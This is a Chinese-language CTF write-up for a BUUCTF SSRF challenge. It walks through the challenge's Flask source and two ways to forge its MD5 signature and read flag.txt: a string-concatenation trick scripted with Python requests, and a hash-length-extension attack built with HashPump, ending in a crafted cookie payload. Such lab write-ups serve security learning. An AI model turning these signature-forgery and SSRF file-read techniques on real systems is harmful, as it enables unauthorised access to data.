根据题目名我们知道这是一道SSRF的题目
它允许攻击者在受害服务器上发起未经授权的网络请求
在buuctf上有一个提示
也就是说flag在 网站的flag.txt
访问主页
很明显是段flask代码
格式化后
from flask import Flask, request # 导入Flask和request模块
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__) # 创建一个Flask应用实例
secret_key = os.urandom(16) # 生成一个16字节的随机密钥
# 定义一个名为Task的类,用于处理任务
class Task:
def __init__(self, action, param, sign, ip):
self.action = action # 任务动作
self.param = param # 参数
self.sign = sign # 签名
self.sandbox = md5(ip) # 根据IP生成一个唯一的沙盒目录名
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox) # 如果沙盒目录不存在,创建它
def Exec(self):
result = {}
result['code'] = 500 # 默认响应码为500
if self.checkSign(): # 检查签名是否有效
if "scan" in self.action: # 如果任务动作是"scan"
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 执行扫描操作
if resp == "Connection Timeout":
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200 # 执行成功,响应码为200
if "read" in self.action: # 如果任务动作是"read"
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read() # 读取结果
if result['code'] == 500:
result['data'] = "Action Error" # 如果动作无效,设置响应数据
else:
result['code'] = 500
result['msg'] = "Sign Error" # 如果签名无效,设置响应消息
return result
def checkSign(self):
if getSign(self.action, self.param) == self.sign: # 验证签名是否匹配
return True
else:
return False
# 创建路由"/geneSign",用于生成签名
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
# 创建路由"/De1ta",用于处理任务
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param): # 检查是否触发Web应用防火墙(WAF)
return "No Hacker!!!!"
task = Task(action, param, sign, ip) # 创建任务对象
return json.dumps(task.Exec()) # 返回任务执行结果的JSON表示
# 创建根路由"/",用于返回文本文件内容
@app.route('/')
def index():
return open("code.txt", "r").read()
# 定义一个用于扫描URL的函数
def scan(param):
socket.setdefaulttimeout(1) # 设置超时时间
try:
return urllib.urlopen(param).read()[:50] # 打开URL并读取前50个字符
except:
return "Connection Timeout"
# 生成签名的函数
def getSign(action, param):
return hashlib.md5(secret_key + param + action).hexdigest()
# 计算MD5哈希的函数
def md5(content):
return hashlib.md5(content).hexdigest()
# Web应用防火墙(WAF)检查函数
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"): # 检查前缀开头
return True # 如果参数触发WAF规则,返回True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80) # 启动Flask应用,监听在0.0.0.0的80端口上
/geneSign
:对param参数进行签名/De1ta
: 从客户端获取 action,param,sign
参数,获取用户ip,使用waf函数对param
进行检测,使用Task对象处理/
: 读取code.txt
并显示scan
: 对指定url进行请求getSign
: 使用md5进行签名md5
:对参数进行md5加密waf
:对参数进行检查,拦截字符串开头为 file和gopher
的字符串Task
:如果直接访问flag.txt肯定是不行的,,因为没有这个路由
其中有个scan函数
def scan(param):
socket.setdefaulttimeout(1) # 设置超时时间
try:
return urllib.urlopen(param).read()[:50] # 打开URL并读取前50个字符
except:
return "Connection Timeout"
可以直接传递文件名进行读取(flag.txt)
首先需要获取sign
根据代码构造我们需要的sign
if "scan" in self.action: # 如果任务动作是"scan"
if "read" in self.action: # 如果任务动作是"read"
在Tesk类中有这两行代码,只要指定字符串存在action中,那么就是True
此时我们可以构造 readscan
或者 scanread
这样在第一个scan的时候会将结果写入文件,第二个read的时候就能读取文件中的内容了
代码中的print resp
只会打印在本地控制台,并不会显示在网页中
而param我们构造 flag.txt
即可
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
?param="flag.txtread"
为什么要构造flag.txtread
?
因为action默认指定为 scan
原本我们需要的sign
action=readscan
param=flag.txt
sign=getSign(action, param) = (flag.txtreadscan) = flag.txtreadscan
因为在 getSign 函数, action和param是反过来拼接的
也就是说我们只需要构造flag.txtreadscan
的sign即可,既然action被指定为scan,那么我们构造param为 flag.txtread
也能获取一样的sign
?param=flag.txtread
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
....
构造响应的参数
Cookie: action=readscan;sign=867c8e2493858fe77eb941ccb2724d18
?param=flag.txt
import requests
url = "http://b26db27b-2c00-44ee-a653-3f194e0c3271.node4.buuoj.cn:81/"
sign = requests.get(url+"geneSign?param=flag.txtread").text # 获取sign
cookies = {
"sign": sign,
'action': 'readscan'
}
flag = requests.get(url+"De1ta?param=flag.txt",cookies=cookies).text # 获取flag
print(flag)
这个就涉及到md5实现的一些原理了
可以参考下
https://zhuanlan.zhihu.com/p/587802432
https://www.cnblogs.com/pcat/p/5478509.html
使用工具 hashdump
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install
原理可能稍微有点复杂,我们只需要知道需要的条件就可以了
这里用php举个例子
$secret_key = '1234567890'; # 盐
echo md5($secret_key. "admin");
输出的hash值为 501530457b49501056d8f994d12252ca
我们这里知道了几个关键要素
hash值
: 501530457b49501056d8f994d12252ca
输入的值
: admin
盐的长度
: 10
知道这些条件我们就可以构造一个hash值
使用hashpump
Input Data to Add
是我们需要附加的值,附加的值会追加到我们输入的值上
最后hashpump输入了两个值,一个hash,和一个追加数据后的值
验证
$secret_key = '0123456789';
echo md5($secret_key. "admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00wlbnb");
最后输出 c231ab9c9647fda124aa8f2dd5cef076
, 和hashpump给出的hash值一致
回到题目
通过hashpump就能构造两个一样的hash值从而通过验证
从前面知道了三个条件
根据源码我们知道盐的长度
secret_key = os.urandom(16) # 生成一个16字节的随机密钥
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param) # getSign('scan', 'flag.txtread') # 9b7be9abc20f7d0ea3883024bb47d0e0
# 生成签名的函数
def getSign(action, param):
return hashlib.md5(secret_key + param + action).hexdigest()
secret_key + param = 16 + flag.txt(8) = 24
而我们的输入就是scan, 最后我们需要追加上read
将 \x
替换成 %
即可
?param=flag.txt
Cookie: sign=1214910894c1371b811859b24118598d; action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
注意这个sign参数的hash是hashpump生成出来的hash